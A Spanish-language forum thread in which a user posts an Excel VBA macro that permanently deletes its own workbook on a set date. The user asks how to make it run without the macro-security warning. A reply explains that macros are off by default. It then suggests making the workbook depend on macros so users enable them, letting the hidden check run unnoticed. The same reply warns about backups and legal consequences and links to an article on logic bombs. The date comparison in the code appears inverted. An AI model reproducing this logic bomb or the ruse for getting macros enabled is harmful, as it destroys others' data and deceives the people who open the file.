He creado una macro en Excel que permite la eliminacion automatica de un archivo en una fecha asignada. Una vez eliminada queda totalmente destruido el archivo ya que ni siquiera se va a la papelera. Lo hice con el fin de proteger mis libros de trabajo que tanto me ha costado trabajar... En ningun momento las he creado con malas intenciones sino con el unico proposito de "prevenir" cualquier mala jugada de parte de x personas. Un conocido mio fue despedido injustamente de su trabajo sin importar el buen desempeno con el que laboro en dicha empresa y ni siquiera se le fue dado el pago justo a su trabajo.
Para evitar que esto me ocurra y confiando en el buen trabajo que he desempenado me vi en la tarea de investigar, desarrollar un codigo que me permitiera lograrlo. Finalmente fue creada....:
Private Sub Workbook_Open()
Dim fecha As Date
Dim wb As Workbook
fecha = "12/16/2014" 'fecha de eliminacion del libro
Set wb = ThisWorkbook
If fecha >= Date Then
MsgBox "Se ha cumplido el periodo de prueba del libro!", vbExclamation
With wb
.Saved = True 'se estable como salvado
.ChangeFileAccess xlReadOnly 'se pone el acceso al libro como de solo lectura
Kill .FullName 'se elimina el libro
.Close 'se cierra el libro
End With
End If
End Sub
Sin embargo, esta macro se ejecutara automaticamente cuando se abra el libro y ademas de esto las personas deberan aceptar la macro... lo que pretendo es crear un codigo que me permita habilitar la macro automaticamente sin que aparezca el mensaje que se encuentra en el archivo adjunto
Adjunto | Tamaño |
---|---|
![]() | 24.39 KB |
Claro, es que la seguridad de un libro Excel no puede basarse en las macros, porque por defecto están deshabilitadas.
Aprende de los grandes, haz como hace Google o Microsoft o ... pides permiso para una cosa y aprovechas para hacer algunas otras también
Haz que el libro no funcione bien si no habilitas las macros, así los usuarios tendrán que habilitarlas para consultar el resultado, y entonces aprovechas para ejecutar las comprobaciones que te interese. La puedes hacer al cerrar en vez de al abrir.
Puede ser cualquier cosa, una utilidad para imprimir, para calcular un resultado, para mover unos lados de un sitio a otro, ... algo para que merezca la pena habilitar las macros.
De todas maneras, tendrás que vértelas también con las copias de seguridad, de ahí va a estar difícil eliminar nada,
y también te las tendrás que ver con los abogados de la empresa ...
http://es.wikipedia.org/wiki/Bomba_l%C3%B3gica
------
Ya sé Excel, pero necesito más.
Gracias por tus comentarios Pacco... Es impresionante el poder que tienen los codigos en VBA... De hecho este codigo fue creado por otra persona la cual aparece bajo este link: http://mexcel.wordpress.com/2013/09/19/elimnar-libro-segun-fecha-con-vba... pero me intereso bastante el aprender un poco mas al respecto.
Gracias por siempre responder a nuestras dudas